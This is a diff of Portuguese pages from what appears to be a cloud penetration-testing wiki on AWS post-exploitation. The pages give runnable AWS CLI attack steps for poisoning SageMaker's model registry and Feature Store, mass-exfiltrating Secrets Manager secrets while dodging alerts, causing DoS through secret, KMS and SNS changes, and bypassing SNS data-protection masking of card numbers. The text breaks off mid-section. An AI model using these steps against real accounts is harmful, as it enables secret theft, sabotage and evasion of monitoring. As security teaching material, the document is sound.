+Se um atacante puder CreateModelPackage em um Model Package Group alvo do SageMaker, ele pode registrar uma nova versão do modelo que aponte para uma container image controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines CI/CD auto-deployam versões Approved para endpoints ou training jobs, resultando em execução de código do atacante sob os execution roles do serviço. Exposição cross-account pode ser ampliada por uma permissive ModelPackageGroup resource policy.
+
+### Requirements
+- IAM (mínimo para envenenar um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
+- Opcional (para criar um grupo se não existir): `sagemaker:CreateModelPackageGroup`
+- S3: Read access ao ModelDataUrl referenciado (ou hospedar artifacts controlados pelo atacante)
+- Target: um Model Package Group que automação downstream monitora para versões Approved
+
+### Steps
+1) Set region and create/find a target Model Package Group
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Preparar dados fictícios do modelo no S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registrar uma Approved model package version maliciosa (aqui benigna) referenciando uma imagem pública AWS DLC
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Verifique se a nova versão Approved existe
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Impacto
+- Poison the Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que auto-deploy Approved models podem puxar e executar a imagem do atacante, resultando em execução de código sob endpoint/training roles.
+- Com uma política de recurso permissiva ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
+
+## Feature store poisoning
+
+Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela online inference. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isto não requer acesso a modelos ou endpoints.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
new file mode 100644
index 000000000..770b8cf27
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Abusar de `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
+
+## Requisitos
+- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Alvo: Feature Group com OnlineStore habilitado (tipicamente suportando inferência em tempo real)
+
+## Passos
+1) Escolha ou crie um pequeno Online Feature Group para testes
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Inserir/substituir um registro online (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Ler o registro para confirmar a manipulação
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Esperado: risk_score retorna 0.99 (definido pelo atacante), comprovando a capacidade de alterar features online consumidas pelos modelos.
+
+## Impact
+- Ataque de integridade em tempo real: manipular features usadas por modelos de produção sem tocar em endpoints/models.
+- Risco de confidencialidade: ler features sensíveis via GetRecord do OnlineStore.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index bf197d669..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Para mais informações, veja:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Read Secrets
-
-Os **secrets em si são informações sensíveis**, [veja a página privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender como lê-los.
-
-### DoS Change Secret Value
-
-Ao alterar o valor do secret você pode **DoS todos os sistemas que dependem desse valor.**
-
-> [!WARNING]
-> Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key de propriedade do atacante. Essa key é inicialmente configurada de modo que qualquer pessoa possa acessá-la e usá-la, então atualizar o secret com a nova key é possível. Se a key não fosse acessível, o secret não poderia ser atualizado.
-
-Após alterar a key do secret, o atacante modifica a configuração da sua key para que apenas ele possa acessá-la. Dessa forma, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
-
-É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret mudar, já que a versão atual ainda está criptografada com a KMS key original.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Exclusão de segredo
-
-O número mínimo de dias para excluir um segredo é 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-É possível restaurar um segredo, o que permite a restauração de segredos que foram programados para exclusão, já que o período mínimo de exclusão para segredos é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar seus conteúdos.
-
-Para recuperar um segredo que está em processo de exclusão, você pode usar o seguinte comando:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Esta ação permite deletar a resource policy que controla quem pode acessar um secret. Isso pode levar a um DoS se a resource policy tiver sido configurada para permitir acesso a um conjunto específico de usuários.
-
-Para deletar a resource policy:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Os estados de um secret são usados para gerenciar versões de um segredo. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
-
-As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e podem falhar.
-
-AWSPREVIOUS não é usado automaticamente. No entanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo continua a ser executado com a versão anterior.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Abuse the Secrets Manager BatchGetSecretValue API para recuperar até 20 secrets em uma única requisição. Isso pode reduzir dramaticamente o volume de chamadas de API em comparação com iterar GetSecretValue por segredo. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue para cada segredo recuperado no lote.
-
-Permissões necessárias
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue para cada segredo alvo
-- secretsmanager:ListSecrets se estiver usando --filters
-- kms:Decrypt nos CMKs usados pelos segredos (se não estiver usando aws/secretsmanager)
-
-> [!WARNING]
-> Observe que a permissão `secretsmanager:BatchGetSecretValue` por si só não é suficiente para recuperar segredos; você também precisa de `secretsmanager:GetSecretValue` para cada segredo que deseja recuperar.
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrar por filtros (chave/valor de tag ou prefixo de nome)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Lidando com falhas parciais
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Impacto
-- Rápida “smash-and-grab” de muitos segredos com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
-- Os logs do CloudTrail ainda incluem um evento GetSecretValue por cada segredo recuperado pelo lote.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
new file mode 100644
index 000000000..889ede875
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -0,0 +1,132 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Para mais informações consulte:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Ler segredos
+
+Os **segredos em si são informação sensível**, [veja a página de privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para aprender como lê-los.
+
+### DoS Alterar valor do segredo
+
+Ao alterar o valor do segredo, você pode causar **DoS em todos os sistemas que dependem desse valor.**
+
+> [!WARNING]
+> Observe que valores anteriores também são armazenados, então é fácil voltar ao valor anterior.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Se o atacante tiver a permissão secretsmanager:UpdateSecret, ele pode configurar o secret para usar uma KMS key pertencente ao atacante.  
+
+Essa key é inicialmente configurada de modo que qualquer um pode acessá-la e usá-la, então é possível atualizar o secret com a nova key. Se a key não fosse acessível, o secret não poderia ser atualizado.
+
+Após alterar a key do secret, o atacante modifica a configuração da sua key de forma que somente ele possa acessá-la. Assim, nas versões subsequentes do secret, ele será criptografado com a nova key e, como não haverá acesso a ela, a capacidade de recuperar o secret será perdida.
+
+É importante notar que essa inacessibilidade ocorrerá apenas em versões posteriores, depois que o conteúdo do secret for alterado, já que a versão atual ainda está criptografada com a KMS key original.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+O número mínimo de dias para excluir um secret é 7
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+É possível restaurar um secret, o que permite a restauração de secrets que foram agendados para exclusão, já que o período mínimo de exclusão para secrets é de 7 dias e o máximo é de 30 dias. Em conjunto com a permissão secretsmanager:GetSecretValue, isso possibilita recuperar o conteúdo dos mesmos.
+
+Para recuperar um secret que está em processo de exclusão, você pode usar o seguinte comando:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Esta ação permite excluir a política de recurso que controla quem pode acessar um segredo. Isso pode levar a um DoS se a política de recurso estiver configurada para permitir acesso a um conjunto específico de usuários.
+
+Para excluir a política de recurso:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Os estados de um secret são usados para gerenciar suas versões. AWSCURRENT marca a versão ativa que as aplicações usam, AWSPREVIOUS mantém a versão anterior para que você possa reverter se necessário, e AWSPENDING é usado no processo de rotação para preparar e validar uma nova versão antes de torná-la a atual.
+
+As aplicações sempre leem a versão com AWSCURRENT. Se alguém mover esse rótulo para a versão errada, as aplicações usarão credenciais inválidas e poderão falhar.
+
+AWSPREVIOUS não é usado automaticamente. Entretanto, se AWSCURRENT for removido ou reatribuído incorretamente, pode parecer que tudo ainda está em execução com a versão anterior.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Abuse a API Secrets Manager BatchGetSecretValue para recuperar até 20 secrets em uma única requisição. Isso pode reduzir drasticamente o volume de chamadas de API comparado a iterar GetSecretValue por secret. Se filtros forem usados (tags/name), a permissão ListSecrets também é necessária. O CloudTrail ainda registra um evento GetSecretValue por secret recuperado no batch.
+
+Permissões necessárias
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Note que a permissão `secretsmanager:BatchGetSecretValue` não é suficiente para recuperar secrets; você também precisa de `secretsmanager:GetSecretValue` para cada secret que quiser recuperar.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate por filtros (tag key/value ou prefixo de nome)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Lidando com falhas parciais
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Impacto
+- Rápido “smash-and-grab” de muitos secrets com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
+- Os registros do CloudTrail ainda incluem um evento GetSecretValue por cada secret recuperado pelo lote.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
index 29eda45ff..53be8402d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
@@ -1,13 +1,13 @@
-# AWS - SES Pós Exploração
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-Para mais informações, consulte:
+Para mais informações, veja:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -17,7 +17,7 @@ Enviar um e-mail.
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Ainda a testar.
+Ainda por testar.
 
 ### `ses:SendRawEmail`
 
@@ -25,45 +25,45 @@ Enviar um e-mail.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-Ainda a ser testado.
+Ainda por testar.
 
 ### `ses:SendTemplatedEmail`
 
-Envie um email com base em um modelo.
+Enviar um email com base num modelo.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Ainda a testar.
+Ainda por testar.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Envie um e-mail para vários destinos
+Enviar um e-mail para múltiplos destinatários
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-Ainda a ser testado.
+Ainda por testar.
 
 ### `ses:SendBulkEmail`
 
-Envie um e-mail para vários destinos.
+Enviar um e-mail para múltiplos destinatários.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Envie um **email de retorno** sobre um email recebido (indicando que o email não pôde ser recebido). Isso só pode ser feito **até 24h após o recebimento** do email.
+Enviar um **bounce email** sobre um email recebido (indicando que o email não pôde ser recebido). Isto só pode ser feito **até 24h após o recebimento** do email.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-Ainda a ser testado.
+Ainda por testar.
 
 ### `ses:SendCustomVerificationEmail`
 
-Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail de modelo.
+Isto irá enviar um email de verificação personalizado. Também poderá precisar de permissões para criar o modelo de email.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-Ainda a testar.
+Ainda por testar.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
index a1db5acd2..8d8b4f6eb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
@@ -1,30 +1,30 @@
-# AWS - SNS Pós Exploração
+# AWS - SNS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SNS
 
 Para mais informações:
 
 {{#ref}}
-../aws-services/aws-sns-enum.md
+../../aws-services/aws-sns-enum.md
 {{#endref}}
 
 ### Interromper Mensagens
 
-Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectado.
+Em vários casos, SNS topics são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer sem ser detectado.
 
 ### `sns:DeleteTopic`
 
-Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens e impactando aplicações que dependem do tópico.
+Um atacante poderia excluir um tópico SNS inteiro, causando perda de mensagens e impactando aplicações que dependem do tópico.
 ```bash
 aws sns delete-topic --topic-arn <value>
 ```
-**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam o tópico excluído.
+**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que usam o tópico excluído.
 
 ### `sns:Publish`
 
-Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
+Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico do SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
@@ -36,33 +36,47 @@ Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afe
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
-**Impacto Potencial**: Erros de configuração que levam a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
+**Impacto Potencial**: Configurações incorretas que podem levar a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
 
-### `sns:Subscribe`, `sns:Unsubscribe`
+### `sns:Subscribe` , `sns:Unsubscribe`
 
-Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico.
+Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente obtendo acesso não autorizado às mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.
 ```bash
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado.
+**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção de serviço para aplicações que dependem do tópico afetado.
 
-### `sns:AddPermission`, `sns:RemovePermission`
+### `sns:AddPermission` , `sns:RemovePermission`
 
-Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico.
-```css
+Um atacante poderia conceder a usuários ou serviços não autorizados acesso a um tópico SNS, ou revogar permissões de usuários legítimos, causando interrupções no funcionamento normal das aplicações que dependem do tópico.
+```bash
 aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
 aws sns remove-permission --topic-arn <value> --label <value>
 ```
-**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal para aplicativos que dependem do tópico.
+**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal de aplicações que dependem do tópico.
 
-### `sns:TagResource`, `sns:UntagResource`
+### `sns:TagResource` , `sns:UntagResource`
 
-Um atacante poderia adicionar, modificar ou remover tags de recursos SNS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
+Um atacante poderia adicionar, modificar ou remover tags de recursos do SNS, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>
 ```
 **Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
 
-{{#include ../../../banners/hacktricks-training.md}}
+### Mais técnicas de SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
new file mode 100644
index 000000000..1dda99a38
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass via Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Se você tiver `sns:PutDataProtectionPolicy` em um tópico, você pode mudar sua política Message Data Protection de Deidentify/Deny para Audit-only (ou remover controles Outbound) para que valores sensíveis (por exemplo, números de cartão de crédito) sejam entregues não modificados para sua subscription.
+
+## Requisitos
+- Permissões no tópico alvo para chamar `sns:PutDataProtectionPolicy` (e geralmente `sns:Subscribe` se você quiser receber os dados).
+- Tópico SNS padrão (Message Data Protection suportado).
+
+## Etapas do ataque
+
+- Variáveis
+
+```bash
+REGION=us-east-1
+```
+
+1) Crie um tópico padrão e uma fila SQS do atacante, e permita que apenas este tópico envie para a fila
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Anexe uma política de proteção de dados que mascara números de cartão de crédito nas mensagens Outbound
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Subscreva a fila do atacante e publique uma mensagem com um número de cartão de teste, verifique a máscara
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+Trecho esperado mostra a máscara (hashes):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Rebaixar a policy para Audit-only (sem declarações de deidentify/deny afetando Outbound)
+
+Para SNS, declarações Audit devem ser Inbound. Substituir a policy por uma declaração Audit-only Inbound remove qualquer de-identificação Outbound, então as mensagens fluem sem modificações para os assinantes.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Publique a mesma mensagem e verifique que o valor não mascarado é entregue
+```bash
